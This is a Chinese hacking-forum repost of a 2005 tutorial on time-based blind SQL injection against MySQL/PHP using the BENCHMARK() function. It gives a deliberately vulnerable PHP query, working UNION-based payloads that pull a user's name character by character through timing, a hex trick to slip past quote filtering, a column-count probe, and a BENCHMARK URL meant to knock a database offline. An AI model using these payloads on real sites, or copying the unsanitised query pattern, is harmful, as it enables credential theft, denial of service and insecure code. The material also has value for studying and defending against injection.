找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1930|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 & J/ R6 I; D# E/ m# c
本文作者:SuperHei' @) H9 S- h1 S" C
文章性质:原创
5 l" _5 K" p( Y发布日期:2005-01-02* x! R. f- D. _% G
完成日期:2004-07-09 $ `7 w1 B" L- `5 z
第一部
0 F3 d( n! i% {# L- r6 k: k* K& W7 P% w* ~; f, y
利用时间推延进行注射---BENCHMARK函数在注射中的利用
. R' Q; U1 f$ ]) P9 @7 A5 ~+ F3 ]+ [
一.前言/思路
; `5 Z5 F; W7 n* o" X( h7 N- u* i1 X1 o. N2 K7 t& h+ a
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。7 s; ]8 k1 p8 v) m1 L' Q

" F3 \0 {) C6 F! `: ^8 K( J  z0 H  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。6 Z% E& A4 u) E/ j4 o
3 N) ^8 o6 u) c  D+ Y
二.关于BENCHMARK函数
0 J2 b) o- {* k; A, P2 `' y. p) e+ p4 o1 L" S- G' o
  在MySQL参考手册里可以看到如下描叙:
" T" o% m3 f; m& g! \1 |) S9 u5 g+ k1 j$ u% k. a4 H
2 N! h9 Q+ w. G/ o3 I1 q6 F; \& c4 u
--------------------------------------------------------------------------------
2 a: }8 u$ Y* ]: `2 j# G8 e5 ?- C3 Y+ |* j
BENCHMARK(count,expr)
* T* z. K4 ?; @! sBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
9 e  j3 Q# N7 R7 Hmysql> select BENCHMARK(1000000,encode("hello","goodbye")); 6 T' c8 ]0 M) ]: w1 [' g0 h- O" z
+----------------------------------------------+ . ?3 k: J1 p8 O( J$ G
| BENCHMARK(1000000,encode("hello","goodbye")) |
7 J8 M! b* b* ~+----------------------------------------------+ 1 z3 g1 c+ O* A6 j: Y
| 0 |
7 g* p+ s3 G: E; P+----------------------------------------------+
9 B$ O9 T5 n( k! ^8 x0 v6 f1 row in set (4.74 sec) ; A% y# z. c7 z2 d( @0 [2 }8 B
$ e. V3 S" Z1 U9 K$ ^' m
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。; l+ k4 i. K( c

& S8 h* h1 l3 d. x' L5 u9 G
& Y4 X3 S" K" Y0 Y! d% b6 n% J--------------------------------------------------------------------------------
; l2 [, }9 F# E$ K$ x; y! J  f/ _4 s( ]
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 5 R4 s' |3 E, C0 t2 _7 z8 }

) ]( p& d2 e# _0 i" l# M) emysql> select md5( 'test' );
' x) z7 h' p  R3 l$ X9 ?; a+----------------------------------+
4 H  X- T7 T. h- f" j; f/ W| md5( 'test' ) | + c' b9 X5 ^- e3 }% n9 C% u( O
+----------------------------------+
' V) w4 `) Q- t  @| 098f6bcd4621d373cade4e832627b4f6 |
3 Y; o" ~" {: @& _7 v" h* ?0 \+----------------------------------+
# W8 N4 Q% E2 y0 ]  D1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
+ k$ p; i8 o; n* l' o
1 D  V3 @8 {9 f4 f9 o2 fmysql> select benchmark( 500000, md5( 'test' ) );
1 Q2 A' V( c4 }; i* ]+------------------------------------+
4 P7 J: _6 c7 a: C| benchmark( 500000, md5( 'test' ) ) |
' C$ ]3 z, w* g+ M) _! y+------------------------------------+
' p8 h+ C' U7 p; x% N| 0 |
9 p+ [# U( T7 x+------------------------------------+
% j5 u2 ~, M/ q+ r; A8 r! ?1 row in set (6.55 sec) 〈------------执行时间为6.55 sec% o0 \# {& w+ m: ]

# i. \8 P6 [8 c5 v% l: ^2 X7 Z  a9 R. k( C0 e3 w# X
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 $ O6 V8 M0 U' q# A& q8 M
" k8 m9 M2 S( ^/ f# ~, L
三.具体例子1 C9 c- i9 s. Z" C0 M" ?$ q, W0 @

9 n% U# ^' e4 I! Y& b  首先我们看个简单的php代码:( y& I5 w+ B5 d6 W! S
: H; B# y9 B+ K6 G
< ?php
+ e$ W' i3 ?* U. \4 T' m/ q$servername = "localhost"; ) e) Z' A3 ~# ^- a- C2 @( d8 }6 z& i
$dbusername = "root";
6 A- ]' Z0 ]1 |% Q$ K) ^! F$dbpassword = "";
1 m8 U& B  n+ G7 j& Y$ E; |5 b, ?$dbname = "injection"; * `* J" p- K: d; p, H/ i; l* q& {
' O& z  [1 J1 l. ^  V' W  J
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");   e0 H/ k8 q0 O) [9 M* W: o& g
2 \$ c1 [3 U. D4 n' D
$sql = "SELECT * FROM article WHERE articleid=$id"; 6 T" ]+ t" H$ D3 H& u3 K
$result = mysql_db_query($dbname,$sql);
: a4 s* U- V: M$row = mysql_fetch_array($result);
* k: Z. [3 v; y# i# s4 c" w( H% p) K  Q' h; [
if (!$row)
0 M9 l' Y* u5 M/ k3 P1 o{   [, ~( O2 v( |" \; c; D
exit; / e. s/ Y- {* r- f" _  y: `5 |, G
}
# D8 f  L$ w$ |?>
+ O& f+ N, e: f, K& @7 @# ^; Y ! L6 N+ z" B- v3 y; Z; E/ k4 c

( A6 ]" ?5 q7 d8 A' z1 L4 m  数据库injection结构和内容如下:/ k/ m. r0 Y  ?

7 }) [  y/ y) |2 g! X# 数据库 : `injection`
5 T" b) M/ O4 o6 \8 r5 f9 s8 H#
" q+ E" ], A  }! j! N+ M+ p+ j8 c' W/ O; _  |* o) W
# -------------------------------------------------------- . }& l) ]8 u* ]! R7 I/ K; p

* d4 |  i. V9 ^; D( g5 j# 5 F6 g0 n/ y, N- i
# 表的结构 `article`
3 N0 V* s; R, S6 c6 v  k" [8 F#
2 |$ t5 D9 g# K. z: y
- K: X" F) k/ }4 ?, PCREATE TABLE `article` ( % |0 x- J! P0 _4 K9 h7 M) N2 U! _
`articleid` int(11) NOT NULL auto_increment,
% ^" P: Z% G/ {5 L1 ~1 U$ z`title` varchar(100) NOT NULL default '',
" Z6 O8 Q  G& \`content` text NOT NULL, , I0 i! f% E) T! B, z
PRIMARY KEY (`articleid`) $ n# r2 {7 p" Z, f8 x# t
) TYPE=MyISAM AUTO_INCREMENT=3 ; 6 n* L( r0 v1 s8 o3 _

0 S& P5 E3 Z8 s9 S7 }6 D& {) z#
$ |& g( P1 l6 W! F/ l% z* ~# 导出表中的数据 `article`
; v& r1 H, y& N+ x0 m0 `# % j0 X, {7 L4 x+ ~6 W: K
4 I+ q0 Q0 V( Q" u* I/ V
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
' ~( q7 r- T+ n% f" q# y7 sINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); * h1 X5 g; D  K" t, F$ y- [# N
7 Y5 N( ~' J1 k4 |9 @. s
# -------------------------------------------------------- ; H  P* |* @2 k

1 m+ q' _0 o1 F6 i# ! x. X; D* V0 l$ e3 B1 u
# 表的结构 `user`
. o# s) `, A9 w! k/ Y; Y) W( H#
/ O: p" l1 y& y* ]& ^' S  g: w1 p3 F! g; a
CREATE TABLE `user` ( 9 H6 u. @9 K' C: y% |$ c
`userid` int(11) NOT NULL auto_increment,
" ]+ \% c3 [7 T' x! b) {  K`username` varchar(20) NOT NULL default '', * @& |8 \/ c( U
`password` varchar(20) NOT NULL default '',
& Z; P- Y$ G) K  W- q7 x, gPRIMARY KEY (`userid`)
" i  P" `2 c, o' d+ t# B% y) TYPE=MyISAM AUTO_INCREMENT=3 ; - {1 J# W3 P0 ~" P( |8 X) Y
0 X1 d1 E) p7 k8 U
# 7 \) p" n' P3 n/ c3 A4 }6 ?2 [; d  B
# 导出表中的数据 `user` 5 T0 B. T1 J* t9 _2 X
#
+ c+ m3 @" z/ T
& q$ A( j6 a4 q3 xINSERT INTO `user` VALUES (1, 'angel', 'mypass');
* g6 ?. L3 C* ]1 ]7 wINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
5 P: {$ `" J2 K, A $ A1 @8 A6 P2 m: V
" V9 k! I3 F  v$ X/ v
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
' c6 e3 w0 y2 a1 w; o$ V
3 G, Y* p$ i: R7 [4 @5 o& Cid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
4 }. Z1 i5 u2 ?7 a% Q  _6 C: V8 r
6 ~( k  a# `, M/ t* a1 M; o( f
& x9 T$ v) D. V  J: k7 v  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
: z8 ~( I& ?+ w5 n3 |8 G6 W* h# c5 Y7 t5 C/ U* X' ^
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/** h5 d" S1 D: i9 n% a4 p; {3 n0 F7 |

. d$ i0 e+ K8 b8 t3 a. N
5 i0 E6 k) I+ n# o0 N  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
( ~% S7 y& i2 l6 e* C! ]
8 C- [; ?; G' P% z. A  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
" H( \: M) O- u- W& C  ^
$ a: e7 y8 T1 ]  L! _第二部
* Z7 v: y/ ]; ^( }. t8 j/ y' ~/ G$ ]* \6 B1 R
利用BENCHMARK函数进行ddos攻击 0 O/ \1 N5 @. J' ~' u  J$ c

" b+ Z7 F% _  q8 N$ |6 V( T  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:3 l+ @" Q) q. P) \3 _" W$ u

9 q$ N9 M: }# \3 k3 Ghttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))+ F- n5 l: ]+ \6 f

4 e: U- D, ]+ L' @7 H- z" W# Y0 c* H
小结' ^" i: r  x, u
, P0 t5 q2 W& A  V4 ~
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
) R2 s  N2 ^% ^! ^" ?. O
0 ?6 `2 \0 s/ \0 Z  9 {4 s" S! v. }' M9 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表